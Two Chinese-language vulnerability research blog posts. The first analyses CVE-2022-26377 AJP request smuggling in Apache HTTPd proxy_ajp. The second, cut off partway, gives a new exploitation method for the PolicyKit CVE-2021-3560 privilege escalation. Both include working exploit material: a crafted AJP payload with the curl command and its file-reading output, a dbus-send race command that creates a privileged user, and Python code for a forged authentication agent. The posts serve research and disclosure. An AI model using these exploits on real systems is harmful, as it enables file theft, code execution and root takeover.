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CVE-2022-26377: Apache HTTPd AJP Request Smuggling

By: RicterZ
8 July 2022 at 05:36

本文介绍了一种针对 AJP 的全新攻击方法和思路,打开在诸如 Apache HTTPd 使用 proxy_ajp 对 Tomcat AJP 进行反向代理、产品自研的 AJP 反向代理的攻击面,同时也可以尝试横向扩展至 FastCGI 等协议(当然,并没有挖到其他协议的)。

本文的灵感来源是针对 ████████████ 进行审计的过程中,发现其实现了一个名为 Secure Gateway 的网关,此网关针对连接进入的 HTTP 协议解析后转化为 AJP 协议数据包后,转发到后端的 Tomcat AJP 服务。通过深入研究,发现可以利用本文所述的攻击手法构造 AJP 数据包攻击后端服务。

1. AJP Protocol Details

自长亭科技发现 GhostCat(CVE-2020-1938)漏洞后,Tomcat 做了几个安全措施:在配置层面,默认将 8009 端口监听在 localhost,同时默认不开启 AJP 协议;在代码层面,默认拒绝通过 AJP 协议传入的一些 attributes,防止某些特殊 attributes 被利用(比如 javax.servlet.include.path_info),在配置文件中通过 allowedRequestAttributesPattern 来匹配允许设置的 attributes。

AJP 服务全称 Apache JServ Protocol,是一个类似 HTTP 的二进制协议,数据包格式较为简单。AJP 协议的 请求数据包Magic 为 0x1234,后面紧跟着 2 个字节的数据长度字段,再往后就是数据包的具体内容。如下所示:

00000000  12 34 00 98 02 02 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 03  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  0a 00 0f 41 4a 50 5f 52  45 4d 4f 54 45 5f 50 4f   ...AJP_R EMOTE_PO
00000070  52 54 00 00 05 35 31 36  37 36 00 0a 00 0e 41 4a   RT...516 76....AJ
00000080  50 5f 4c 4f 43 41 4c 5f  41 44 44 52 00 00 0b 31   P_LOCAL_ ADDR...1
00000090  30 2e 32 31 31 2e 35 35  2e 33 00 ff               0.211.55 .3..

在请求数据包中,第五个字节表示的是 Code Type,AJP 协议支持包括 Forward Request(0x02)、Shutdown(0x07),Ping(0x08),CPing(0x10)几个 Code Type。需要特殊注意的是,如果没有指定 Code Type,则表示这个数据包是一个“数据”数据包,其内容只包含着请求数据。

看到这里,其实 AJP 协议的缺陷就显现得比较清楚了。AJP 的数据包并不能界定所谓“数据”数据包和“命令”数据包,所以可以导致我们在某些情况下可以针对数据包进行伪造。

对于 AJP 协议的其他细节就不再进行赘述,可以参考 Apache Tomcat 的官方文档:https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html。

2. Content-Type

针对包含数据的请求,如果在 HTTP 请求中存在 Content-Type 头,AJP 代理实现的方式是分为两个数据包发送。第一个数据包包含着请求头的信息,第二个数据包为“数据”数据包。

00000000  12 34 00 c4 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1
00000010  00 00 01 2f 00 00 0b 31  30 2e 32 31 31 2e 35 35   .../...1 0.211.55
00000020  2e 32 00 ff ff 00 0b 31  30 2e 32 31 31 2e 35 35   .2.....1 0.211.55
00000030  2e 33 00 00 50 00 00 05  a0 0b 00 0b 31 30 2e 32   .3..P... ....10.2
00000040  31 31 2e 35 35 2e 33 00  a0 0e 00 0b 63 75 72 6c   11.55.3. ....curl
00000050  2f 37 2e 37 37 2e 30 00  a0 01 00 03 2a 2f 2a 00   /7.77.0. ....*/*.
00000060  a0 08 00 01 36 00 a0 07  00 21 61 70 70 6c 69 63   ....6... .!applic
00000070  61 74 69 6f 6e 2f 78 2d  77 77 77 2d 66 6f 72 6d   ation/x- www-form
00000080  2d 75 72 6c 65 6e 63 6f  64 65 64 00 0a 00 0f 41   -urlenco ded....A
00000090  4a 50 5f 52 45 4d 4f 54  45 5f 50 4f 52 54 00 00   JP_REMOT E_PORT..
000000A0  05 35 32 32 30 32 00 0a  00 0e 41 4a 50 5f 4c 4f   .52202.. ..AJP_LO
000000B0  43 41 4c 5f 41 44 44 52  00 00 0b 31 30 2e 32 31   CAL_ADDR ...10.21
000000C0  31 2e 35 35 2e 33 00 ff                            1.55.3.. 

000000C8  12 34 00 08 00 06 41 42  43 44 45 46               .4....AB CDEF

可以看到,在第 0x65 字节,标识了数据长度为 6。在第二个数据包,则是一个只包含着数据长度和数据的数据包。在 Apache Tomcat 的 org/apache/catalina/connector/Request.class 中,针对数据包的处理方式如下:

protected void parseParameters() {
    // ...
    try {
        // ...
        if (!this.usingInputStream && !this.usingReader) {
            String contentType = this.getContentType();
            // 判断是否有必要进行下一步

            int len = this.getContentLength();
            if (len <= 0) {
                if ("chunked".equalsIgnoreCase(this.coyoteRequest.getHeader("transfer-encoding"))) {
                    // ...
                    formData = this.readChunkedPostBody();
                    // ...
                }
            } else {
                // ...
            }

首先会根据 Content-Type 判断是否有必要进行数据处理,接着判断 Content-Length 是否为 0,如果不为 0,则会读取缓冲区数据流中的下一个 AJP 请求数据包进行数据处理。

3. Transfer-Encoding: chunked

针对 Transfer-Encoding: chunked 的情况,AJP 代理通常不会立刻发送请求,而是等待 AJP 服务端返回 GET_BODY_CHUNK 的返回包 41 42 00 03 06 1f fa后,再接着发送。当数据发送完成时,则发送一个 12 34 02 00 00 00 的空数据包表示数据发送完成。

4. Request Smuggling

请求走私从来都不是一个服务产生的问题,而是多个服务交互中的不一致情况导致的。

  1. 发送的 Content-Length 为 0 但是转发了全部请求体的情况;
  2. 发送两个 Content-Length,其中前端代理使用第一个,而 Tomcat 使用第二个;
  3. 使用 Transfer-Encoding 传送数据,但是前端立刻向后端发送了数据;
  4. 使用 Transfer-Encoding 传送数据,但前端正常识别 chunked 而后端不能正确识别。

除了第一条暂未遇到真实情况以外,第 2、3 条在  ████████████  中可以成功攻击,第 4 条在 Apache HTTPd 的 proxy_ajp 可以成功攻击。

5. ████████████

████████████ 对于 Transfer-Encoding 处理错误,导致获取到数据后立刻向后端发送 AJP 数据包,从而导致 AJP 无法分清命令数据包和“数据”数据包,最终导致请求走私。

6. Apache HTTPd mod proxy_ajp

通过查询 Mozilla 对于 Transfer-Encoding 的语法定义,发现Transfer-Encoding 支持如下格式:

Transfer-Encoding: gzip, chunked

所以在 Apache HTTPd 中发送诸如此类格式的 Transfer-Encoding 会正常解析出 chunked 的数据段,而在 modules/proxy/mod_proxy_ajp.c 的编写方式如下:

if (tenc && (strcasecmp(tenc, "chunked") == 0)) {
    /* The AJP protocol does not want body data yet */
    ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(00870) "request is chunked");
} else {
    /* Get client provided Content-Length header */
    content_length = get_content_length(r);
    // ...
    status = apr_brigade_flatten(input_brigade, buff, &bufsiz);
    // ...
    if (bufsiz > 0) {
        status = ajp_send_data_msg(conn->sock, msg, bufsiz);

这会导致在此处的 if 判断进入 else 分支,并立刻发送用户可控的 POST 的数据至 AJP 服务,而非正常逻辑中等待GET_BODY_CHUNK返回包发送后才继续发送,导致请求走私。

7. Exploitation

首先观察正常发送的数据包:

00000000  12 34 00 0a 00 08 64 61  74 61 3d 31 32 33         .4....da ta=123

除去 Magic(0x1234)和消息长度(0x000a)之后,接着的是数据的长度(0x0008)和数据内容,而在正常命令数据包中:

00000000  12 34 00 d9 02 04 00 08  48 54 54 50 2f 31 2e 31   .4...... HTTP/1.1

第 5、6 字节为 Code Type 和 HTTP Method,所以如果需要构造一个 GET 请求,则需要构造数据的长度为 0x0202(516)才可以满足需求格式,可以通过填充某些 request attribute 或者请求参数来填充。在 Apache HTTPd 的 proxy_ajp 可以成功实现文件读取,结合文件上传也可以实现 RCE,具体利用方式可以参考 GhostCat 的利用方式。

$ xxd data
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

$ curl -i 10.211.55.3/proxy_ajp/ -H 'Transfer-Encoding: chunked, chunked' --data-binary @data
HTTP/1.1 200 200
Date: Wed, 02 Mar 2022 17:38:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: JSESSIONID=8B127C58793D6507FD24027670A3543C; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 1257
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
 ...

8. Conclusion

因为自 GhostCat(CVE-2020-1938)后,Tomcat 增加了安全措施,外部 AJP 请求无法设置一些敏感 attributes,所以实际上问题不大。

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

By: RicterZ
27 May 2022 at 08:52
A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

 

English Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en

0x01. The Vulnerability

PolicyKit CVE-2021-3560 是 PolicyKit 没有正确的处理错误,导致在发送 D-Bus 信息后立刻关闭程序后,PolicyKit 错误的认为信息的发送者为 root 用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

以上命令的作用是在发送 D-Bus 信息后,在一个极短的时间差后利用 kill 命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有 sudo 权限的用户。

根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:

  1. Account Daemon,此服务用来添加用户;
  2. Gnome Control Center,此服务会用 org.freedesktop.policykit.imply 修饰 Account Daemon 的方法;
  3. PolicyKit ≥ 0.113。

其中 Account Daemon 和 Gnomo Control Center 在非桌面版的系统、Red Hat Linux 等系统中并不存在,这无疑减小了漏洞的利用覆盖面。

但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在 PolicyKit 和一些基础 D-Bus 服务(比如 org.freedesktop.systemd1)的系统中仍然可以成功利用。在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及 PolicyKit 的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。

0x02. Do Really Need an Imply Annotated Action

在漏洞作者的文章中(https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)明确的写道:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是必须要有 org.freedesktop.policykit.imply 修饰后的方法才能实现认证绕过。根据文章中的 PoC 来看,这一点确实是母庸质疑的。具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下 CVE-2021-3560 的漏洞函数,代码基于 Github 上的 polkit 0.115 版本:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)
{

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
        &data);
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...
        &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;
}


polkit_system_bus_name_get_creds_sync 函数调用了两个 D-Bus 方法后,没有处理 data.caugh_error,直接设置了 out_uid 为 data.uid,又由于 data.uid 为 NULL,从而导致 out_uid 为 NULL,也就是 0,为 root 用户的 uid,从而错误的认为这个进程为 root 权限进程。

但是需要注意的是,在遇到错误时,data.error 会被设置为错误的信息,所以这里需要接下来的函数只验证了 ret 是否为 TRUE,而不去验证有没有错误。幸运的是,PolicyKit 中一个用途非常广泛的函数 check_authorization_sync就没有验证:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  }
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      imply_action_id,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
                                                      &implied_error);
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
           }
  // ...

这个函数有两处问题,第一个就是第一次调用 polkit_backend_session_monitor_get_user_for_subject 的时候直接返回 uid 为 0 的信息,然后直接通过认证,第二次是在检查 imply action 时,循环调用 check_authorization_sync 后再次遇到 polkit_backend_session_monitor_get_user_for_subject 返回 uid 为 0 的信息。所以此函数存在两个条件竞争的时间窗口:

check_authorization_sync 
-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

check_authorization_sync
 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用 check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被 org.freedesktop.policykit.imply 修饰过的 action。首先解释下什么是 org.freedesktop.policykit.imply 修饰。

PolicyKit 的 action policy 配置文件通常在 /usr/share/polkit-1/actions/ 目录下,文件的内容如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>
        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
        </action>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

</policyconfig>

可以发现,org.freedesktop.systemd1.manage-unit-files 这个 action 拥有 org.freedesktop.policykit.imply 修饰,这个修饰的意义是,当一个 subject 拥有 org.freedesktop.systemd1.reload-daemon 或者 org.freedesktop.systemd1.manage-units 权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作为和修饰方法等价的,这也就是这个修饰的作用。

话说回来,在实际上,被此漏洞所影响的上层函数并不止 check_authorization_sync ,如下所有函数都会被这个漏洞所影响:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数调用了 polkit_backend_session_monitor_get_user_for_subject 函数:polkit_backend_interactive_authority_authentication_agent_response。

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)
{

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
           cookie,
           identity_str);
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,
                                                                        error);

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  }
  // ...

这个方法是 PolicyKit 用来处理 Authentication Agent 调用的 AuthenticationAgentResponse、AuthenticationAgentResponse2 方法的。那么,什么是 Authentication Agent,它又拥有什么作用呢?

0x03. What is Authentication Agent

在日常使用 Linux 的时候,如果不是利用 root 账号登录桌面环境,在执行一些需要 root 权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是 Authentication Agent:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

在命令行中,同样也有 Authentication Agent,比如 pkexec 命令:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

一个 Authentication Agent 通常为 suid 程序,这样可以保证调用 PolicyKit 的授权方法时的调用方(caller)为 root,而来自 root 用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation
  1. Client 在需要提升权限时,会启动 setuid 的 Authentication Agent;
  2. Authentication Agent 会启动一个 D-Bus 服务,用来接收 PolicyKit 的相关认证调用;
  3. Authentication Agent 会去 PolicyKit 注册自己,来接管对于客户端程序调用的 D-Bus 方法的认证请求: CheckAuthorization;
  4. 当收到 CheckAuthorization 请求时,PolicyKit 会调用 Authencation Agent 的 BeginAuthentication 方法;
  5. Authentication Agent 接收到方法调用后,会要求用户输入密码进行认证;
  6. Authentication Agent 验证密码没有问题,则会调用 PolicyKit 提供的 AuthenticationAgentResponse 方法;
  7. PolicyKit 收到 AuthenticationAgentResponse 方法调用后,会检查调用方是不是 root 权限,接着会检查其他信息(cookie);
  8. 检查无误后,PolicyKit 对于 D-Bus Service 的 CheckAuthorization 方法返回 TRUE,表示认证通过;
  9. D-Bus Service 收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第 7 步中验证 AuthenticationAgentResponse 的调用方是否为 root。但是由于 CVE-2021-3560 的存在,这个信任被打破了。所以我们可以通过伪造 AuthenticationAgentResponse 的调用方,来完成整个认证流程,实现任意 D-Bus Service 方法的调用。

0x04. Write Your Agent

利用 dbus-python 和相关 example 代码,我们可以实现一个 Authencation Agent 的基本骨架:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop


class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        self.register()
        print('[*] D-Bus message loop now running ...')
        self._loop.run()

    def register(self):
        proxy = self._bus.get_object(
                'org.freedesktop.PolicyKit1',
                '/org/freedesktop/PolicyKit1/Authority')
        authority = dbus.Interface(
                proxy,
                dbus_interface='org.freedesktop.PolicyKit1.Authority')
        authority.RegisterAuthenticationAgent(self._subject,
                                              "en_US.UTF-8",
                                              self._object_path)
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        self._bus.send_message(message)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()


if __name__ == '__main__':
    main()


接着尝试增加代码,进行调用:

def handler(*args):
    print('[*] Method response: {}'.format(str(args)))


def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()
    time.sleep(1)
    threading.Thread(target=set_timezone).start()

运行程序:

[email protected]:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

同时 PolicyKit 的输出为:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

可见我们的 Authentication Agent 已经正常工作了,可以接收到 PolicyKit 发送的 BeginAuthentication 方法调用,并且PolicyKit 会提示 Only uid 0 may invoke this method,是因为我们的 AuthenticationAgentResponse 发送用户为 dev 用户而非 root 用户。

0x05. Trigger The Vulnerability

接下来尝试触发漏洞,我们尝试在发送完请求后立刻结束进程:

self._bus.send_message(message)
os.kill(os.getpid(), 9)

多次调用查看:

** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

可以发现,polkit_backend_interactive_authority_authentication_agent_response 函数的返回值为 TRUE,但是在 check_authorization_challenge_cb 函数中仍然是未授权状态,注意到 Error performing authentication 的错误信息,定位到函数 authentication_agent_begin_cb:

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
{
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
    {
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  error->message,
                  g_quark_to_string (error->domain),
                  error->code);
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
    }
  else
    {
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
    }

代码逻辑为,当 g_dbus_proxy_call_finish 函数没有错误的情况下,才会设置 is_authenticated 为 TRUE。而 g_dbus_proxy_call_finish 函数的作用描述如下:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

而同时错误信息也显示了:

Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过 dbus-monitor 命令观察正常情况和错误情况的调用结果,成功的情况如下所示:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371

失败的情况如下所示:

method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

